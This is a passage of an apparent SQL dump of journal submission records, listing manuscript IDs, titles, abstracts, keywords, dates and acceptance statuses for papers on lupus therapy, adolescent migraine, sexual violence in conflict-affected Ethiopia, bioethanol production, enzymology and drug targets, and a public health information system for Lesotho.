avoidance associated with decreased organ damage accrual. This review article describes the current available evidence for the clinical efficacy and cost effectiveness of belimumab as ‘add-on’ therapy for treatment of severe active autoantibody positive SLE','Systemic Lupus Erythematosus Belimumab Monoclonal antibody Cost effectiveness Clinical efficacy',3649,NULL,'2023-05-31',NULL,'Submitted',15,NULL,'2023-09-04',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13791,13912,73,0,'ipjnn-23-13791','Efficacy and Safety of Remote Electrical Neuromodulation (REN) for Migraine Treatment in Adolescents: A Cohort Real-World Evidence Study ',NULL,3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',353,NULL,'2023-06-02',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13792,9188,45,0,'iphsj-23-13792','Sexual violence, its outcome and associated factors among female from conflict affected setting, Ethiopia',NULL,14,0,'','Background: The security of students traveling to school is threatened by conflict. Sexual assaults against women who are in conflict settings were more common. In addition to having an adverse effect on girls\' reproductive and psychological health, this lowers their academic performance. Despite being one of the countries most impacted by conflict, Ethiopia, there is little literature on the subject. Therefore, the purpose of this study was to assess sexual violence among female students in a conflict-affected area in south Ethiopia, as well as its effects and related variables.\r\nMethods: A cross-sectional study based on an institution was carried out in south Ethiopia from April 1 to April 30, 2022. Through a simple random sample technique, 417 female respondents in all took part in the survey. The Childhood Experience of Care and Abuse Questionnaire were used to measure sexual violence (CECA-Q). With the use of bivariate and multivariate logistic regression, the relationship between the result and independent factors was examined. The 95% confidence interval was used to determine statistical significance at p 0.05.\r\nResults:  A 417 respondents were participated with a 98.5% response rate. Sexual violence was reported about 39.7% with a 95% CI (37.1, 42.7).  The following factors were discovered to be significantly associated with sexual violence: Insufficient adherence to the code (AOR=4.27, 95 % CI 2.78 to 6.09); family history of violence (AOR=3.01, 95% CI=2.66 to 6.12); residing alone (AOR=3.57, 95% CI 2.06 to 6.19); no household conversation on health related issues (AOR=2.23, 95% CI 1.29 to 3.87); and a family that has been internally relocated (AOR=1.8, 95% CI=1.97 to 3.35). Out of 166 (39.7%) survivors of sexual abuse, 16 (9.6%) underwent miscarriages, and 26 (15.7%) experienced unwanted pregnancies. Psychological distress, PTSD, alcoholism, suicide, and homicide rates were reported to be 38%, 28.3%, 14.5%, 10.2%, and 9%, respectively.\r\nConclusion: As a result, the ministries of health, education, and humanitarian groups should cooperate to offer regular psychosocial assistance at schools as well as the proper intervention for pupils who have been affected by a conflict. In areas afflicted by war, the rule of law should be vigorously enforced to prevent sexual assault.','Sexual violence, outcome, conflict setting, female student, Ethiopia',4076,NULL,'2023-06-03',NULL,'Submitted',2,NULL,'2023-07-04',NULL,1,1,'1','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13793,13914,73,0,'IPJNN-23-13793','Post-Intensive Care Syndrome (PICS-p): The Evolving Concerns of Pediatric Intensivists','',3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',330,'','2023-06-03',NULL,'Submitted',2,0,'2023-07-01','',1,1,'1','accepted',0,'','',0,0,0,0,NULL,0),(13796,13916,91,0,'ijddr-23-13796','Development of Protocol for Biofuel Production from Cellulose',NULL,5,0,'','Worldwide, there is an increasing need for ethanol production as a result of rapid industrialisation and population expansion. Due to their primary importance as food and feed, conventional crops like maize and sugar cane cannot produce enough biofuels to meet the world\'s demand. Ligno-cellulosic materials, including pseudo stem debris from bananas, have value and make desirable feedstock for the production of bioethanol. Utilising agricultural industrial waste has the advantages of being affordable, renewable, and plentiful. Bioethanol from banana pseudo stem waste has the potential to be a noteworthy technological advancement thanks to an efficient method. The real effort involves employing acid pre-treatment, hydrolysis, and fermentation by Aspergillus Niger to bio convert cellulose from banana pseudo stem waste, collected from an agro-industry, into ethanol. Pre-treating the Banana Pseudo stem waste fibres with diluted sulfuric acid and then heating the resulting combination to a high temperature to disrupt the cellulose\'s crystalline structure in order to make it easier for diluted acids to hydrolyse the cellulosic component. The cellulose content is hydrolysed into reducing sugars using a dilute acid hydrolysis process that requires 72 hours of incubation at a high temperature. The hydrolysed waste is then fermented with Aspergillus Niger under ideal incubation conditions to create ethanol.',': Biofuel production; Cellulose; Banana Pseudo stem; Aspergillus Niger; Fermentation; Bioethanol',5431,NULL,'2023-06-05',NULL,'Submitted',2,NULL,'2023-06-12',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(13798,13917,91,0,'ijddr-23-13798','COMPLEXATION, CHARACTERIZATION, AND TOXICOLOGY STUDIES OF THE CRUDE EXTRACT OF ANACARDIUM OCCIDENTALE LEAVES AND ITS COPPER (II) COMPLEX',NULL,14,0,'','Aim and Objective: The search for effective therapy for diabetes mellitus is still unattainable. This study investigated anti-diabetic effect of Anacardium occidentale ethanolic leaves extract and ethanolic leaves extract complex copper (II) in alloxan-induced diabetic rats.\r\nMethod: Fifty six matured male Wistar rats (200-250g) were used. Alloxan monohydrate (65 mg/kgb.wt) was singly injected intraperitoneally to induced diabetes. The animals were randomly alienated into 7groups, 8rats/group. Group I: normal control; Group II: diabetic; Group III & IV: diabetic rats + 400 mg/kgb.wt and 600 mg/kgb.wt A. occidentale ethanolic crude leaves extract; Group V and VI: diabetic rats + 400 mg/kgb.wt and 600 mg/kgb.wt ethanolic leaves extract complex copper (II); Group VII: diabetic rats + 500 mg/kgb.wt metformin for 15 days. Body weight and fasting blood glucose (FBG) were recorded at day 0, 5th, 10th, and 15th of the experiment. The animals were sacrificed at the end of the experiment and fasting blood samples were collected for biochemical parameters assay. \r\nResults: Malondialdehyde (MDA), FBG, lipid profile, hepatic and kidneys function biomarkers levels were significantly (p<0.05) increased in the diabetic rats while the body weight and antioxidant activities were significantly (p<0.05) reduced. Administrations of A. occidentale ethanolic leaves extract, ethanolic leaves extract complex copper (II) and metformin significantly (p<0.05) diminished the FBG, MDA, lipid profile, hepatic and kidney function biomarkers levels and elevated the body weight and antioxidant activities.\r\nConclusion: The ethanolic leaves extract complex copper (II) possesses more anti-diabetic efficacies. This could be explored as effective complementary therapy for diabetes mellitus.\r\n','A. occidentale leaves, diabetes mellitus, dyslipidemia, leaves extract complex copper (II), oxidative stress ',5033,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-29',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(13799,13918,1020,0,'ipmedt-23-13799','Exploring the Catalytic Mechanisms of Enzymes: Implications for Drug Targeting`',NULL,5,0,'','Enzymes play a crucial role in catalyzing biological reactions, making them attractive targets for drug development. Understanding the catalytic mechanisms of enzymes provides valuable insights into their function and regulation, enabling the design of effective therapeutic strategies. This review explores the catalytic mechanisms employed by enzymes and their implications for drug targeting. The study begins by examining the fundamental principles of enzyme catalysis, including the active site, substrate binding, and the chemical reactions involved. Various catalytic strategies, such as acid-base catalysis, covalent catalysis, and metal ion catalysis, are discussed in detail, emphasizing their significance in enzyme function. Next, the review explores the relationship between enzyme structure and catalytic mechanism. Structural information obtained through techniques like X-ray crystallography and cryo-electron microscopy sheds light on the arrangement of amino acid residues critical for catalysis. The role of protein dynamics and conformational changes in facilitating enzyme reactions is also discussed. Furthermore, the review highlights the importance of studying enzyme kinetics to unravel the intricacies of catalytic mechanisms. By analyzing enzyme-substrate interactions, rate constants, and reaction intermediates, researchers can elucidate the stepwise progression of enzymatic reactions. The implications of understanding catalytic mechanisms for drug targeting are then explored. The identification of key enzymatic steps and critical amino acid residues involved in catalysis can guide the design of enzyme inhibitors and modulators. Rational drug design strategies, including structure-based drug design and virtual screening, can be employed to develop molecules that selectively target enzymes and disrupt disease-associated pathways. Finally, emerging trends and challenges in the field of enzyme-targeted drug development are discussed. These include overcoming drug resistance, addressing off-target effects, and exploring novel enzymatic targets for therapeutic interventions. In conclusion, a comprehensive understanding of the catalytic mechanisms of enzymes provides a solid foundation for drug targeting. By exploiting the intricacies of enzyme function and regulation, researchers can develop innovative approaches to design effective drugs that selectively modulate enzymatic activity, opening new avenues for therapeutic interventions in various diseases.','Enzyme catalysis, Enzyme mechanisms, Enzyme kinetics, Active site, Substrate binding, Acid-base catalysis',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13800,13919,1020,0,'ipmedt-23-13800','Targeting Enzymes as Drug Targets: Recent Advances and Future Perspectives',NULL,5,0,'','Enzymes play a vital role in various biological processes and have emerged as promising drug targets. Targeting enzymes offers opportunities for therapeutic intervention in numerous diseases, including cancer, metabolic disorders, and infectious diseases. This review highlights recent advances and future perspectives in targeting enzymes as drug targets. The study begins by discussing the rationale behind targeting enzymes and the advantages they offer as drug targets. Enzymes are involved in key biochemical pathways and exhibit unique catalytic activities, making them attractive targets for modulating disease-associated processes. The development of selective enzyme inhibitors can disrupt aberrant enzymatic activities and restore normal cellular functions. Next, the review explores recent advances in the discovery and development of enzyme inhibitors. It covers innovative strategies such as structure-based drug design, virtual screening, high-throughput screening, and fragment-based approaches. These techniques facilitate the identification and optimization of small molecules that selectively inhibit enzyme activity, providing opportunities for therapeutic intervention. The review also emphasizes the importance of understanding enzyme function, regulation, and catalytic mechanisms in effective drug targeting. Detailed knowledge of enzyme structure, active site architecture, and substrate binding interactions enables the design of inhibitors with high affinity and specificity. The study of enzyme kinetics and dynamics further aids in elucidating the optimal strategies for modulating enzyme activity. Furthermore, the review explores the application of targeted enzyme inhibition in specific disease contexts. Examples include the targeting of kinases in cancer therapy, proteases in viral infections, and metabolic enzymes in metabolic disorders. It discusses the challenges and opportunities associated with targeting enzymes in these disease areas, such as drug resistance, off-target effects, and personalized medicine approaches. Finally, the review provides insights into future perspectives and emerging trends in targeting enzymes as drug targets. It discusses the integration of multi-targeted approaches, combination therapies, and the utilization of emerging technologies such as gene editing and RNA-based therapeutics. The advent of new drug discovery platforms and computational tools also holds promise for accelerating the identification and optimization of enzyme inhibitors. In conclusion, targeting enzymes as drug targets has witnessed significant progress in recent years. Advances in understanding enzyme biology, coupled with innovative drug discovery approaches, have paved the way for the development of effective therapeutic interventions. The ongoing exploration of enzyme targeting, along with emerging technologies, promises to open new avenues for the treatment of various diseases and improve patient outcomes.','Enzymes, Drug targets, Therapeutic intervention, Cancer therapy, Metabolic disorders',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13801,13920,1020,0,'ipmedt-23-13801','Unraveling Enzyme Regulation: Implications for Drug Discovery and Development',NULL,5,0,'','Enzymes are essential regulators of biochemical pathways, playing a critical role in maintaining cellular homeostasis. Understanding the intricate mechanisms that govern enzyme regulation is crucial for advancing drug discovery and development. This review explores the current knowledge on enzyme regulation and its implications for drug discovery. The study begins by discussing the importance of enzyme regulation in controlling cellular processes. Enzymes are subject to multiple layers of regulation, including transcriptional, post-transcriptional, post-translational, and allosteric regulation. These regulatory mechanisms fine-tune enzyme activity in response to environmental cues and cellular demands, allowing for precise control of metabolic pathways. Next, the review delves into the impact of enzyme dysregulation in various diseases. Dysregulated enzyme activity can contribute to the development and progression of disorders such as cancer, metabolic disorders, and neurodegenerative diseases. Understanding the underlying mechanisms of enzyme dysregulation provides valuable insights for identifying novel therapeutic targets. The review then highlights the significance of unraveling enzyme regulatory networks. Systems biology approaches, including omics technologies and network analysis, enable the comprehensive exploration of enzyme regulation on a global scale. Integration of multi-omics data can unveil complex interactions and regulatory cascades, facilitating the identification of key regulatory nodes for therapeutic intervention. Moreover, the review discusses the implications of enzyme regulation in drug discovery and development. Targeting enzymes involved in disease-associated pathways holds immense potential for therapeutic intervention. Small molecule inhibitors, activators, or modulators can be designed to restore the balance of dysregulated enzymes, thereby restoring normal cellular function and alleviating disease symptoms. The review also emphasizes the importance of uncovering druggable sites and designing selective compounds that specifically target regulatory elements of enzymes. Structural biology techniques, such as X-ray crystallography and cryo-electron microscopy, aid in elucidating the conformational changes and dynamic interactions involved in enzyme regulation, providing valuable insights for rational drug design. Furthermore, the review explores the challenges and opportunities in targeting enzyme regulation. Overcoming issues such as specificity, drug resistance, and off-target effects requires innovative strategies, including combination therapies, targeted delivery systems, and personalized medicine approaches. The integration of computational modeling, machine learning, and artificial intelligence can accelerate the discovery of novel regulatory targets and facilitate the design of more effective and safe therapeutics. In conclusion, unraveling enzyme regulation is of paramount importance for advancing drug discovery and development. Insights into the complex mechanisms underlying enzyme regulation can guide the identification of novel therapeutic targets and the design of selective compounds. By modulating dysregulated enzyme activity, it is possible to restore cellular homeostasis and develop effective treatments for various diseases. Continued research in this area holds great promise for revolutionizing drug discovery approaches and improving patient outcomes.','Enzymes, Enzyme regulation, Enzyme dysregulation, Biochemical pathways, Cellular homeostasis',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13802,13921,1020,0,'ipmedt-23-13802','Enzyme Inhibitors: Strategies and Challenges in Drug Design',NULL,5,0,'','Enzyme inhibitors have emerged as powerful therapeutic agents in drug discovery and development. Targeting specific enzymes involved in disease-related pathways provides opportunities for modulating biological processes and treating various disorders. This review explores different strategies and challenges in the design of enzyme inhibitors for therapeutic purposes. The study begins by highlighting the importance of enzyme inhibition as a strategy for modulating enzyme activity and interfering with disease processes. Enzyme inhibitors can exert their effects by blocking the active site of the enzyme, disrupting cofactor binding, or interfering with protein-protein interactions crucial for enzyme function. These inhibitors can be classified into different categories based on their mechanism of action, including reversible and irreversible inhibitors, competitive and non-competitive inhibitors, and allosteric modulators. The review then discusses various strategies employed in the design and development of enzyme inhibitors. Structure-based drug design, utilizing the three-dimensional structure of the enzyme and computer-aided drug design techniques, enables the rational design of inhibitors with improved potency and selectivity. High-throughput screening of compound libraries allows for the identification of lead compounds that can be further optimized through medicinal chemistry approaches. Fragment-based drug design, virtual screening, and natural product-based drug discovery are additional strategies utilized in the design of enzyme inhibitors. However, the design of enzyme inhibitors also presents several challenges. Achieving selectivity and specificity is crucial to avoid off-target effects and minimize potential toxicity. Overcoming drug resistance, often arising from mutations in the target enzyme, requires the development of innovative strategies such as combination therapies or the targeting of alternative pathways. Pharmacokinetic considerations, including bioavailability, metabolic stability, and drug-drug interactions, also need to be addressed during the design and optimization of enzyme inhibitors. Moreover, the review discusses emerging trends and technologies in the field of enzyme inhibitor design. These include the utilization of covalent inhibitors, which form irreversible bonds with the target enzyme, and the development of allosteric inhibitors that modulate enzyme activity by binding to remote sites. The use of nanotechnology and drug delivery systems offers opportunities for targeted delivery and improved therapeutic efficacy of enzyme inhibitors. In conclusion, enzyme inhibitors represent promising therapeutic agents in drug design. The strategies employed in their design, including structure-based drug design, high-throughput screening, and fragment-based drug discovery, have led to significant advancements. However, challenges such as achieving selectivity, overcoming drug resistance, and optimizing pharmacokinetic properties remain. Continued research and technological advancements in the field hold promise for the development of novel enzyme inhibitors with improved efficacy and safety profiles, ultimately leading to the discovery of new treatments for various diseases. ','Binding affinity,  Structure-based drug design, Ligand-based drug design',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13803,13922,1020,0,'ipmedt-23-13803','Probing Enzyme Mechanisms: Advances in Molecular Enzymology Techniques',NULL,5,0,'','Understanding the intricate mechanisms by which enzymes catalyze biological reactions is a fundamental pursuit in the field of molecular enzymology. Recent advances in molecular enzymology techniques have revolutionized our ability to probe and decipher the complex mechanisms underlying enzyme function. This abstract highlights key advancements in the field and explores the diverse range of techniques that have significantly contributed to our understanding of enzyme mechanisms. One prominent area of progress is the application of structural biology techniques, such as X-ray crystallography, cryo-electron microscopy, and nuclear magnetic resonance spectroscopy. These methods have enabled researchers to obtain high-resolution structures of enzymes and their complexes, providing valuable insights into the active site architecture, substrate binding, and conformational changes during catalysis. Additionally, computational approaches, including molecular dynamics simulations and quantum mechanics/molecular mechanics calculations, have played a pivotal role in elucidating enzyme mechanisms by providing atomistic details of reaction pathways and energetics. Moreover, advanced spectroscopic techniques, such as time-resolved fluorescence spectroscopy, infrared spectroscopy, and mass spectrometry, have allowed researchers to monitor enzyme dynamics and conformational changes in real time. These techniques have shed light on important aspects of enzymatic reactions, such as substrate binding kinetics, transition state stabilization, and the role of conformational dynamics in catalysis. Furthermore, the development of sophisticated enzymatic assays, including stopped-flow and rapid-quench techniques, has facilitated the kinetic analysis of enzyme reactions with high temporal resolution. These assays have enabled the determination of rate constants, identification of intermediates, and investigation of reaction mechanisms under physiologically relevant conditions. In summary, this abstract showcases the significant contributions of advanced molecular enzymology techniques in probing enzyme mechanisms. These techniques, ranging from structural biology to spectroscopy to enzymatic assays, have provided unprecedented insights into the fundamental processes underlying enzyme catalysis. The continued integration and refinement of these techniques hold great promise for unraveling the complexities of enzyme function and facilitating the design of novel strategies for enzyme modulation in various fields, including biotechnology, drug discovery, and enzyme engineering.','Binding affinity, Structure-based drug design, Ligand-based drug design, Pharmacophore modeling',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13804,13923,1020,0,'ipmedt-23-13804','Harnessing Enzymatic Power: Advances in Molecular Enzymology for Biotechnological Applications',NULL,5,0,'','Enzymes, with their remarkable catalytic efficiency and specificity, have long been recognized as powerful tools for various biotechnological applications. In recent years, advances in molecular enzymology techniques have further propelled the harnessing of enzymatic power, opening new avenues for biotechnological innovation. This abstract highlights the significant contributions and advancements in molecular enzymology that have revolutionized biotechnological applications. The abstract begins by emphasizing the intrinsic advantages of enzymes as catalysts, including their ability to operate under mild reaction conditions, exhibit high substrate selectivity, and carry out complex transformations with high efficiency. However, unlocking the full potential of enzymes in biotechnology requires a detailed understanding of their mechanisms, as well as the development and application of advanced molecular enzymology techniques. The abstract then explores several key areas where molecular enzymology has made substantial contributions to biotechnology. Structural biology techniques, such as X-ray crystallography, cryo-electron microscopy, and nuclear magnetic resonance spectroscopy, have provided insights into enzyme structures and their active sites. This structural information serves as a foundation for rational enzyme design and engineering, enabling the optimization of enzyme properties for specific biotechnological applications. The integration of computational approaches with experimental data has enhanced our understanding of enzyme mechanisms and facilitated enzyme engineering. Molecular dynamics simulations and quantum mechanics/molecular mechanics calculations have provided atomistic insights into enzyme dynamics, substrate binding, and reaction mechanisms. These computational methods aid in the design of novel enzymes with tailored properties, such as improved stability, altered substrate specificity, or enhanced catalytic activity. Moreover, the abstract highlights the role of enzymatic assays and high-throughput screening techniques in biotechnological applications. Enzymatic assays, coupled with rapid-quench and stopped-flow techniques, allow for the precise characterization of enzyme kinetics and elucidation of reaction mechanisms. High-throughput screening methods enable the screening of large enzyme libraries to identify variants with desired properties, accelerating enzyme discovery and optimization for industrial processes. The abstract also discusses the impact of molecular enzymology on enzyme immobilization and biocatalyst engineering. Immobilization techniques, including enzyme encapsulation, covalent attachment, and surface immobilization, enhance enzyme stability, reusability, and facilitate their integration into bioprocesses. Molecular enzymology approaches guide the rational design of immobilization strategies, leading to improved biocatalyst performance and robustness. Furthermore, the abstract highlights the importance of enzyme discovery and diversity in biotechnology. Metagenomic and metagenomic mining, along with high-throughput sequencing, have enabled the identification and characterization of novel enzymes from diverse environments. These enzymes exhibit unique properties and functionalities, expanding the enzymatic toolkit for biotechnological applications. In summary, this abstract underscores the significant contributions of molecular enzymology techniques in harnessing the power of enzymes for biotechnological applications. The integration of structural biology, computational approaches, enzymatic assays, and enzyme engineering has enabled the design, optimization, and discovery of enzymes with tailored properties for specific applications. These advancements pave the way for the development of sustainable and efficient bioprocesses, ranging from biofuels production and pharmaceutical synthesis to environmental remediation and food industry applications.','Directed evolution, Protein engineering, Enzyme immobilization, Enzyme stability',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13805,13924,1020,0,'ipmedt-23-13805','Unraveling the Mechanisms of Enzyme Catalysis: Insights from Molecular Enzymology',NULL,5,0,'','Enzymes play a vital role in catalyzing biochemical reactions with remarkable efficiency and specificity. Understanding the mechanisms underlying enzyme catalysis is of great importance for various scientific and industrial applications. This abstract highlights the contributions of molecular enzymology in unraveling the intricate mechanisms of enzyme catalysis. The abstract begins by emphasizing the fundamental role of enzymes as catalysts in living systems. Enzymes enable reactions to occur under physiological conditions, often with accelerated rates and high selectivity. However, unraveling the detailed molecular mechanisms through which enzymes achieve such catalytic prowess requires sophisticated experimental and computational techniques offered by molecular enzymology. The abstract discusses the use of structural biology techniques, such as X-ray crystallography, cryo-electron microscopy, and nuclear magnetic resonance spectroscopy, in elucidating enzyme structures and their active sites. These structural insights provide a foundation for understanding enzyme-substrate interactions and the formation of reaction intermediates, shedding light on the catalytic mechanism. Furthermore, the abstract highlights the role of enzymatic assays and kinetic studies in dissecting the steps of enzyme catalysis. Enzymatic assays allow for the quantitative measurement of enzyme activity and provide valuable information on reaction rates, substrate specificity, and the influence of environmental factors. Kinetic studies, including steady-state and pre-steady-state kinetics, provide insights into the individual steps of the catalytic cycle and the order of substrate binding and product release. Molecular enzymology also harnesses computational approaches to complement experimental findings. Molecular dynamics simulations, quantum mechanics/molecular mechanics calculations, and free energy calculations provide atomistic insights into enzyme dynamics, conformational changes, and the energetics of catalysis. Computational methods aid in understanding the role of specific amino acid residues, cofactors, and water molecules in the catalytic process. The abstract further discusses the importance of enzyme engineering in unraveling enzyme mechanisms. Directed evolution, rational design, and site-directed mutagenesis techniques allow researchers to modify specific residues or regions in the enzyme and observe the impact on catalytic activity. These studies provide valuable information on the functional roles of amino acid residues and the effects of structural perturbations on enzyme catalysis. In conclusion, molecular enzymology has been instrumental in unraveling the mechanisms of enzyme catalysis. The integration of structural biology, enzymatic assays, kinetic studies, computational methods, and enzyme engineering has provided valuable insights into the intricate details of enzyme mechanisms. These findings not only deepen our fundamental understanding of enzymatic catalysis but also pave the way for the design of novel biocatalysts with enhanced properties and the development of innovative strategies in various scientific and industrial applications.','Enzyme mechanisms, Molecular enzymology, Enzyme kinetics, Enzyme active site',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13806,13925,1020,0,'ipmedt-23-13806','Exploring Drug Targets: Advances in Identification and Validation for Therapeutic Development',NULL,5,0,'','Identifying and validating suitable drug targets is a critical step in the process of therapeutic development. This abstract discusses the advances in the field of exploring drug targets, focusing on the identification and validation strategies that have revolutionized the discovery of novel therapeutic targets. The abstract begins by highlighting the importance of identifying and targeting specific molecules or pathways that play a crucial role in disease progression. Traditional drug discovery approaches often relied on serendipitous discoveries or targeting well-known protein families. However, recent advancements in molecular biology, genomics, and bioinformatics have enabled more systematic and targeted approaches for identifying potential drug targets. The abstract discusses the application of high-throughput screening techniques, such as chemical libraries, RNA interference (RNAi), and CRISPR-Cas9 gene editing, in the identification of drug targets. These approaches allow for the screening of large numbers of molecules or genes to identify those that modulate disease-relevant phenotypes or pathways. The integration of computational modeling and data analysis has further enhanced the efficiency and accuracy of target identification, facilitating the discovery of novel targets with therapeutic potential. Validation of drug targets is another crucial aspect of the drug discovery process. The abstract highlights the importance of employing multiple validation strategies to ensure the specificity, efficacy, and safety of potential targets. These strategies include in vitro and in vivo assays, animal models, and patient-derived samples. The use of advanced imaging techniques, such as positron emission tomography (PET) and magnetic resonance imaging (MRI), has enabled non-invasive evaluation of target engagement and therapeutic response in preclinical and clinical settings. Furthermore, the abstract discusses the emergence of omics technologies, such as genomics, proteomics, and metabolomics, in the identification and validation of drug targets. These technologies provide a comprehensive understanding of disease mechanisms, biomarker identification, and patient stratification, leading to the discovery of targets that are tailored to specific disease subtypes or patient populations.  The abstract also highlights the significance of target druggability assessment, which involves evaluating the feasibility of modulating the target with small molecules or biologics. This assessment considers factors such as target accessibility, binding sites, and the presence of known ligands or inhibitors. In conclusion, the exploration of drug targets has been revolutionized by advances in identification and validation strategies. High-throughput screening, computational modeling, omics technologies, and target druggability assessment have accelerated the discovery of novel therapeutic targets. Integration of these approaches with traditional validation techniques and imaging technologies enhances the precision and confidence in target selection. This abstract underscores the importance of a comprehensive and systematic approach in identifying and validating drug targets for successful therapeutic development and the potential to transform patient care in various disease areas.','Bioinformatics, Computational modeling, Omics technologies, Target druggability',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13807,13926,1020,0,'ipmedt-23-13807','Unraveling Novel Drug Targets: Insights into Therapeutic Opportunities',NULL,5,0,'','Identifying novel drug targets is crucial for expanding therapeutic opportunities and addressing unmet medical needs. This abstract highlights the importance of unraveling novel drug targets and provides insights into the therapeutic opportunities they offer. The abstract begins by emphasizing the limitations of existing drug targets and the need for discovering new ones. While many successful drugs have targeted well-established pathways and proteins, the evolving understanding of disease mechanisms and the advent of innovative technologies have unveiled a wealth of untapped therapeutic opportunities. The abstract discusses the diverse approaches employed in unraveling novel drug targets. These include genomics, proteomics, metabolomics, and other omics technologies that provide a comprehensive understanding of disease-related molecular alterations. The integration of big data analytics and bioinformatics has further facilitated the identification and prioritization of potential targets. Furthermore, the abstract highlights the significance of emerging technologies in target identification, such as single-cell sequencing, spatial transcriptomics, and gene-editing techniques like CRISPR-Cas9. These cutting-edge tools enable the exploration of cellular heterogeneity, spatial organization, and functional validation of potential drug targets. The abstract also addresses the importance of target validation and the role of preclinical models, including cell-based assays, animal models, and patient-derived samples, in assessing the therapeutic potential of identified targets. The incorporation of advanced imaging modalities, such as molecular imaging and multi-modal imaging, provides valuable insights into target engagement, pharmacokinetics, and treatment response. Moreover, the abstract discusses the potential of targeting non-coding RNAs, epigenetic modifications, and immune checkpoints as novel therapeutic opportunities. These emerging areas present promising avenues for developing innovative therapies and overcoming resistance mechanisms. In conclusion, unraveling novel drug targets provides valuable insights into therapeutic opportunities. The integration of multi-omics approaches, advanced technologies, and comprehensive target validation strategies enhances the discovery and development of innovative treatments. This abstract underscores the importance of ongoing research efforts to identify and exploit novel drug targets, ultimately leading to improved patient outcomes and addressing unmet medical needs.','Unraveling, Novel drug targets, Therapeutic opportunities, Insights, Drug discovery',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13808,13927,1020,0,'ipmedt-23-13808','Advances in Enzymology: Unraveling the Complexity of Enzyme Catalysis and Regulation',NULL,5,0,'','Enzymes are fundamental biological catalysts that play essential roles in numerous cellular processes. Understanding the intricate mechanisms of enzyme catalysis and regulation is crucial for deciphering biological pathways and developing novel therapeutic strategies. This abstract highlights recent advances in enzymology that have contributed to unraveling the complexity of enzyme catalysis and regulation. The abstract begins by emphasizing the central role of enzymes in accelerating chemical reactions and maintaining cellular homeostasis. It discusses the significance of studying enzyme catalysis and regulation to gain insights into the fundamental principles governing biological systems. The abstract explores advances in structural biology techniques, such as X-ray crystallography, cryo-electron microscopy, and nuclear magnetic resonance spectroscopy, which have provided high-resolution snapshots of enzyme structures. These structural insights have facilitated the elucidation of key catalytic residues, conformational changes, and dynamic motions that govern enzyme function. Furthermore, the abstract highlights the impact of computational approaches, including molecular dynamics simulations and quantum mechanics/molecular mechanics calculations, in unraveling the energetics and reaction mechanisms of enzyme catalysis. These computational tools allow for the exploration of complex enzyme-substrate interactions, transition state dynamics, and the role of solvent molecules in catalytic processes. The abstract also addresses the emerging field of enzyme regulation, including allosteric regulation, post-translational modifications, and small molecule effectors. It discusses how the integration of structural and biochemical techniques has shed light on the molecular mechanisms underlying enzyme regulation and provided insights into the design of modulators for therapeutic interventions. Moreover, the abstract highlights the importance of studying enzyme promiscuity and adaptive evolution in understanding the versatility and adaptability of enzymes. It explores how the identification and characterization of enzyme promiscuity have led to the development of new biocatalysts and enzyme engineering strategies for industrial applications. Additionally, the abstract discusses the role of enzymology in drug discovery and development. It addresses the identification of enzyme targets for drug intervention, the design of enzyme inhibitors and activators, and the development of enzyme-based assays for high-throughput screening. In conclusion, advances in enzymology have provided valuable insights into the complexity of enzyme catalysis and regulation. The integration of structural biology, computational modeling, biochemical techniques, and drug discovery approaches has accelerated our understanding of enzyme function and facilitated the development of innovative therapeutic strategies. This abstract highlights the significant contributions of recent research in unraveling the intricate mechanisms of enzyme catalysis and regulation and sets the stage for further exploration in this dynamic field.','Advances in enzymology, Enzyme catalysis, Enzyme regulation, Complexity, Biological catalysts',5044,NULL,'2023-06-09',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13809,13928,85,0,'iphspr-23-13809','Designing a Robust Public Health Management Information System (PHMIS) for Improved Health Outcomes in Lesotho',NULL,14,0,'','The paper presents research findings and recommendations on the study of the phenomenon that, the healthcare service delivery in Lesotho is fragmented and therefore risky to the lives of patients. The research was conducted through interviews and focus group meeting discussions with participants (potential patients, healthcare professionals, and administrators). The results reveal that the challenges encountered by healthcare professionals during the provision of care are mainly caused by the non-sharing of medical records by healthcare facilities. Moreover, the medical records of patients are fragmented. Therefore, during the provision of care, the patient’s medical record is never complete, which increases the chances of medication errors by healthcare professionals. Consequently, the research recommends the design of a web-based, electronic Public Health Management Information System (PHMIS) that should be accessible by authorised, registered, public and private healthcare professionals. The design of a system should adopt technologies and techniques that support sharing of decentralised healthcare services nationwide, within the confines of the laws/policies of the Government of Lesotho. Furthermore, the paper recommends a future study to establish the extent to which artificial intelligence (AI) can be used to support the envisaged PHMIS by enhancing healthcare service delivery and medical research.','Healthcare Facilities, Healthcare Professionals, Medical Records, Electronic Medical Records, Health Information System, Health Systems Fragmentation, Integration, Critical Success Factors, Healthcare Services, Medical 